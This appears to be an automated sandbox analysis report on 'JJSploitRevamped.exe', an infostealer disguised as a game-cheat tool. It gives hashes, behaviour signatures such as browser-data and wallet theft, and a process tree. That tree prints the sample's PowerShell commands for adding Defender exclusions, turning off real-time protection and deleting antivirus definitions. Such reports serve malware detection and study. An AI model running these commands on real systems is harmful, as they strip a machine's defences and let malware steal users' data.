Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
02-06-2024 00:18
Behavioral task
behavioral1
Sample
JJSploitRevamped.exe
Resource
win7-20240221-en
General
-
Target
JJSploitRevamped.exe
-
Size
12.2MB
-
MD5
52d018542b37d9de51db7ba23f7bb9dd
-
SHA1
3b70d8be5b85f4f1f00d4ef7b9d3f47a60ea5cb6
-
SHA256
fc89124753f93b1b3710e8e0dcbea2267b0444ebcba7474a591d769d833e2c77
-
SHA512
7e0d22c78f5a06aa0ecf784a10b1c96e3ace66ad2871afc277f2dfa8017a7e4e65d8fe35e8ac27886bab03b0dcca7f759d54fc9adc8943ece4b8b1d74137cb9e
-
SSDEEP
196608:orIA0HFL5rWm4yoNEbttj3ozbXe9Yq4MPLbCKeNTfm/pf+xk4dWRGtrbWOjgWy8:Hb4Gbtt7hJ4EnCFy/pWu4kRGtrbvMWy8
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 4488 powershell.exe 5028 powershell.exe 1664 powershell.exe 2348 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
attrib.exeJJSploitRevamped.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts JJSploitRevamped.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Executes dropped EXE 2 IoCs
Processes:
bound.exerar.exepid process 4488 bound.exe 5244 rar.exe -
Loads dropped DLL 17 IoCs
Processes:
JJSploitRevamped.exepid process 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe 1616 JJSploitRevamped.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI50922\python311.dll upx behavioral2/memory/1616-26-0x00007FFE77B80000-0x00007FFE78168000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_ctypes.pyd upx behavioral2/memory/1616-31-0x00007FFE877C0000-0x00007FFE877E4000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\libffi-8.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\select.pyd upx behavioral2/memory/1616-50-0x00007FFE8ED20000-0x00007FFE8ED2F000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_ssl.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_sqlite3.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_socket.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_queue.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\libssl-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50922\libcrypto-1_1.dll upx behavioral2/memory/1616-56-0x00007FFE87670000-0x00007FFE8769D000-memory.dmp upx behavioral2/memory/1616-60-0x00007FFE87460000-0x00007FFE87483000-memory.dmp upx behavioral2/memory/1616-62-0x00007FFE77840000-0x00007FFE779B3000-memory.dmp upx behavioral2/memory/1616-59-0x00007FFE8D1E0000-0x00007FFE8D1F9000-memory.dmp upx behavioral2/memory/1616-64-0x00007FFE86E10000-0x00007FFE86E29000-memory.dmp upx behavioral2/memory/1616-72-0x00007FFE77410000-0x00007FFE774C8000-memory.dmp upx behavioral2/memory/1616-73-0x00007FFE77090000-0x00007FFE77405000-memory.dmp upx behavioral2/memory/1616-80-0x00007FFE877C0000-0x00007FFE877E4000-memory.dmp upx behavioral2/memory/1616-85-0x00007FFE76F70000-0x00007FFE7708C000-memory.dmp upx behavioral2/memory/1616-79-0x00007FFE86DF0000-0x00007FFE86DFD000-memory.dmp upx behavioral2/memory/1616-78-0x00007FFE86810000-0x00007FFE86824000-memory.dmp upx behavioral2/memory/1616-77-0x00007FFE77B80000-0x00007FFE78168000-memory.dmp upx behavioral2/memory/1616-68-0x00007FFE86BC0000-0x00007FFE86BEE000-memory.dmp upx behavioral2/memory/1616-66-0x00007FFE86E00000-0x00007FFE86E0D000-memory.dmp upx behavioral2/memory/1616-466-0x00007FFE87460000-0x00007FFE87483000-memory.dmp upx behavioral2/memory/1616-462-0x00007FFE77090000-0x00007FFE77405000-memory.dmp upx behavioral2/memory/1616-461-0x00007FFE77410000-0x00007FFE774C8000-memory.dmp upx behavioral2/memory/1616-457-0x00007FFE77840000-0x00007FFE779B3000-memory.dmp upx behavioral2/memory/1616-460-0x00007FFE86BC0000-0x00007FFE86BEE000-memory.dmp upx behavioral2/memory/1616-458-0x00007FFE86E10000-0x00007FFE86E29000-memory.dmp upx behavioral2/memory/1616-452-0x00007FFE877C0000-0x00007FFE877E4000-memory.dmp upx behavioral2/memory/1616-451-0x00007FFE77B80000-0x00007FFE78168000-memory.dmp upx behavioral2/memory/1616-522-0x00007FFE76F70000-0x00007FFE7708C000-memory.dmp upx behavioral2/memory/1616-528-0x00007FFE87460000-0x00007FFE87483000-memory.dmp upx behavioral2/memory/1616-533-0x00007FFE77410000-0x00007FFE774C8000-memory.dmp upx behavioral2/memory/1616-532-0x00007FFE86BC0000-0x00007FFE86BEE000-memory.dmp upx behavioral2/memory/1616-531-0x00007FFE86E00000-0x00007FFE86E0D000-memory.dmp upx behavioral2/memory/1616-530-0x00007FFE86E10000-0x00007FFE86E29000-memory.dmp upx behavioral2/memory/1616-529-0x00007FFE77840000-0x00007FFE779B3000-memory.dmp upx behavioral2/memory/1616-527-0x00007FFE8D1E0000-0x00007FFE8D1F9000-memory.dmp upx behavioral2/memory/1616-526-0x00007FFE87670000-0x00007FFE8769D000-memory.dmp upx behavioral2/memory/1616-525-0x00007FFE8ED20000-0x00007FFE8ED2F000-memory.dmp upx behavioral2/memory/1616-524-0x00007FFE877C0000-0x00007FFE877E4000-memory.dmp upx behavioral2/memory/1616-523-0x00007FFE86DF0000-0x00007FFE86DFD000-memory.dmp upx behavioral2/memory/1616-519-0x00007FFE77090000-0x00007FFE77405000-memory.dmp upx behavioral2/memory/1616-508-0x00007FFE77B80000-0x00007FFE78168000-memory.dmp upx behavioral2/memory/1616-520-0x00007FFE86810000-0x00007FFE86824000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 79 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exepid process 1112 tasklist.exe 4888 tasklist.exe 1440 tasklist.exe 3832 tasklist.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 18 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4636 taskkill.exe 1744 taskkill.exe 5684 taskkill.exe 4248 taskkill.exe 3320 taskkill.exe 6104 taskkill.exe 5236 taskkill.exe 1880 taskkill.exe 5352 taskkill.exe 2060 taskkill.exe 3684 taskkill.exe 1088 taskkill.exe 3484 taskkill.exe 2060 taskkill.exe 2188 taskkill.exe 1980 taskkill.exe 1112 taskkill.exe 4936 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 40 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemsedge.exemsedge.exemsedge.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 1664 powershell.exe 1664 powershell.exe 2884 powershell.exe 2884 powershell.exe 2348 powershell.exe 2348 powershell.exe 5028 powershell.exe 5028 powershell.exe 1664 powershell.exe 1664 powershell.exe 1500 powershell.exe 1500 powershell.exe 1500 powershell.exe 4488 powershell.exe 4488 powershell.exe 2884 powershell.exe 2884 powershell.exe 2348 powershell.exe 2348 powershell.exe 5028 powershell.exe 5028 powershell.exe 4488 powershell.exe 5916 msedge.exe 5916 msedge.exe 2268 msedge.exe 2268 msedge.exe 4124 msedge.exe 4124 msedge.exe 2140 powershell.exe 2140 powershell.exe 2140 powershell.exe 5348 powershell.exe 5348 powershell.exe 5348 powershell.exe 4136 powershell.exe 4136 powershell.exe 4136 powershell.exe 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
Processes:
msedge.exepid process 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exetasklist.exetasklist.exeWMIC.exepowershell.exepowershell.exetasklist.exetasklist.exeAUDIODG.EXEtaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 2348 powershell.exe Token: SeDebugPrivilege 5028 powershell.exe Token: SeDebugPrivilege 1440 tasklist.exe Token: SeDebugPrivilege 3832 tasklist.exe Token: SeIncreaseQuotaPrivilege 2052 WMIC.exe Token: SeSecurityPrivilege 2052 WMIC.exe Token: SeTakeOwnershipPrivilege 2052 WMIC.exe Token: SeLoadDriverPrivilege 2052 WMIC.exe Token: SeSystemProfilePrivilege 2052 WMIC.exe Token: SeSystemtimePrivilege 2052 WMIC.exe Token: SeProfSingleProcessPrivilege 2052 WMIC.exe Token: SeIncBasePriorityPrivilege 2052 WMIC.exe Token: SeCreatePagefilePrivilege 2052 WMIC.exe Token: SeBackupPrivilege 2052 WMIC.exe Token: SeRestorePrivilege 2052 WMIC.exe Token: SeShutdownPrivilege 2052 WMIC.exe Token: SeDebugPrivilege 2052 WMIC.exe Token: SeSystemEnvironmentPrivilege 2052 WMIC.exe Token: SeRemoteShutdownPrivilege 2052 WMIC.exe Token: SeUndockPrivilege 2052 WMIC.exe Token: SeManageVolumePrivilege 2052 WMIC.exe Token: 33 2052 WMIC.exe Token: 34 2052 WMIC.exe Token: 35 2052 WMIC.exe Token: 36 2052 WMIC.exe Token: SeDebugPrivilege 1500 powershell.exe Token: SeDebugPrivilege 4488 powershell.exe Token: SeDebugPrivilege 1112 tasklist.exe Token: SeIncreaseQuotaPrivilege 2052 WMIC.exe Token: SeSecurityPrivilege 2052 WMIC.exe Token: SeTakeOwnershipPrivilege 2052 WMIC.exe Token: SeLoadDriverPrivilege 2052 WMIC.exe Token: SeSystemProfilePrivilege 2052 WMIC.exe Token: SeSystemtimePrivilege 2052 WMIC.exe Token: SeProfSingleProcessPrivilege 2052 WMIC.exe Token: SeIncBasePriorityPrivilege 2052 WMIC.exe Token: SeCreatePagefilePrivilege 2052 WMIC.exe Token: SeBackupPrivilege 2052 WMIC.exe Token: SeRestorePrivilege 2052 WMIC.exe Token: SeShutdownPrivilege 2052 WMIC.exe Token: SeDebugPrivilege 2052 WMIC.exe Token: SeSystemEnvironmentPrivilege 2052 WMIC.exe Token: SeRemoteShutdownPrivilege 2052 WMIC.exe Token: SeUndockPrivilege 2052 WMIC.exe Token: SeManageVolumePrivilege 2052 WMIC.exe Token: 33 2052 WMIC.exe Token: 34 2052 WMIC.exe Token: 35 2052 WMIC.exe Token: 36 2052 WMIC.exe Token: SeDebugPrivilege 4888 tasklist.exe Token: 33 4928 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 4928 AUDIODG.EXE Token: SeDebugPrivilege 6104 taskkill.exe Token: SeDebugPrivilege 2188 taskkill.exe Token: SeDebugPrivilege 4636 taskkill.exe Token: SeDebugPrivilege 5236 taskkill.exe Token: SeDebugPrivilege 1880 taskkill.exe Token: SeDebugPrivilege 5352 taskkill.exe Token: SeDebugPrivilege 1980 taskkill.exe Token: SeDebugPrivilege 1088 taskkill.exe Token: SeDebugPrivilege 2060 taskkill.exe Token: SeDebugPrivilege 1744 taskkill.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
Processes:
bound.exemsedge.exepid process 4488 bound.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe 2268 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
JJSploitRevamped.exeJJSploitRevamped.execmd.execmd.execmd.execmd.exebound.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 5092 wrote to memory of 1616 5092 JJSploitRevamped.exe JJSploitRevamped.exe PID 5092 wrote to memory of 1616 5092 JJSploitRevamped.exe JJSploitRevamped.exe PID 1616 wrote to memory of 1088 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 1088 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4852 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4852 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4636 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4636 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4968 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4968 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 2652 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 2652 1616 JJSploitRevamped.exe cmd.exe PID 4636 wrote to memory of 1664 4636 cmd.exe powershell.exe PID 4636 wrote to memory of 1664 4636 cmd.exe powershell.exe PID 1616 wrote to memory of 440 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 440 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4816 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4816 1616 JJSploitRevamped.exe cmd.exe PID 4968 wrote to memory of 4488 4968 cmd.exe tree.com PID 4968 wrote to memory of 4488 4968 cmd.exe tree.com PID 4968 wrote to memory of 4488 4968 cmd.exe tree.com PID 4852 wrote to memory of 2884 4852 cmd.exe powershell.exe PID 4852 wrote to memory of 2884 4852 cmd.exe powershell.exe PID 1088 wrote to memory of 2348 1088 cmd.exe powershell.exe PID 1088 wrote to memory of 2348 1088 cmd.exe powershell.exe PID 4488 wrote to memory of 4884 4488 bound.exe cmd.exe PID 4488 wrote to memory of 4884 4488 bound.exe cmd.exe PID 4488 wrote to memory of 4884 4488 bound.exe cmd.exe PID 4488 wrote to memory of 2060 4488 bound.exe taskkill.exe PID 4488 wrote to memory of 2060 4488 bound.exe taskkill.exe PID 4488 wrote to memory of 2060 4488 bound.exe taskkill.exe PID 1616 wrote to memory of 3848 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 3848 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 3508 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 3508 1616 JJSploitRevamped.exe cmd.exe PID 440 wrote to memory of 1440 440 cmd.exe tasklist.exe PID 440 wrote to memory of 1440 440 cmd.exe tasklist.exe PID 2652 wrote to memory of 5028 2652 cmd.exe powershell.exe PID 2652 wrote to memory of 5028 2652 cmd.exe powershell.exe PID 4816 wrote to memory of 3832 4816 cmd.exe tasklist.exe PID 4816 wrote to memory of 3832 4816 cmd.exe tasklist.exe PID 1616 wrote to memory of 4120 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 4120 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 428 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 428 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 2616 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 2616 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 3252 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 3252 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 1576 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 1576 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 656 1616 JJSploitRevamped.exe cmd.exe PID 1616 wrote to memory of 656 1616 JJSploitRevamped.exe cmd.exe PID 3508 wrote to memory of 1500 3508 cmd.exe tree.com PID 3508 wrote to memory of 1500 3508 cmd.exe tree.com PID 3848 wrote to memory of 2052 3848 cmd.exe msedge.exe PID 3848 wrote to memory of 2052 3848 cmd.exe msedge.exe PID 656 wrote to memory of 4488 656 cmd.exe tree.com PID 656 wrote to memory of 4488 656 cmd.exe tree.com PID 4120 wrote to memory of 1112 4120 cmd.exe taskkill.exe PID 4120 wrote to memory of 1112 4120 cmd.exe taskkill.exe PID 428 wrote to memory of 4428 428 cmd.exe systeminfo.exe PID 428 wrote to memory of 4428 428 cmd.exe systeminfo.exe PID 3252 wrote to memory of 4524 3252 cmd.exe tree.com -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 5736 attrib.exe 6028 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe"C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe"C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\JJSploitRevamped.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start bound.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Users\Admin\AppData\Local\Temp\bound.exebound.exe4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\SysWOW64\cmd.exe"cmd" /C start https://www.youtube.com/@Omnidev_5⤵PID:4884
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@Omnidev_6⤵PID:3544
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffe6c3b46f8,0x7ffe6c3b4708,0x7ffe6c3b47187⤵PID:5252
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,15666083242703284024,3590338795899082017,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:27⤵PID:4340
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,15666083242703284024,3590338795899082017,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:37⤵
- Suspicious behavior: EnumeratesProcesses
PID:4124 -
C:\Windows\SysWOW64\cmd.exe"cmd" /C start https://www.youtube.com/@WeAreDevsExploits5⤵PID:2060
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@WeAreDevsExploits6⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2268 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe6c3b46f8,0x7ffe6c3b4708,0x7ffe6c3b47187⤵PID:5244
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:27⤵PID:5904
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:37⤵
- Suspicious behavior: EnumeratesProcesses
PID:5916 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:87⤵PID:5924
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:17⤵PID:5996
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:17⤵PID:6004
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2668 /prefetch:17⤵PID:2052
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4728 /prefetch:17⤵PID:5388
-
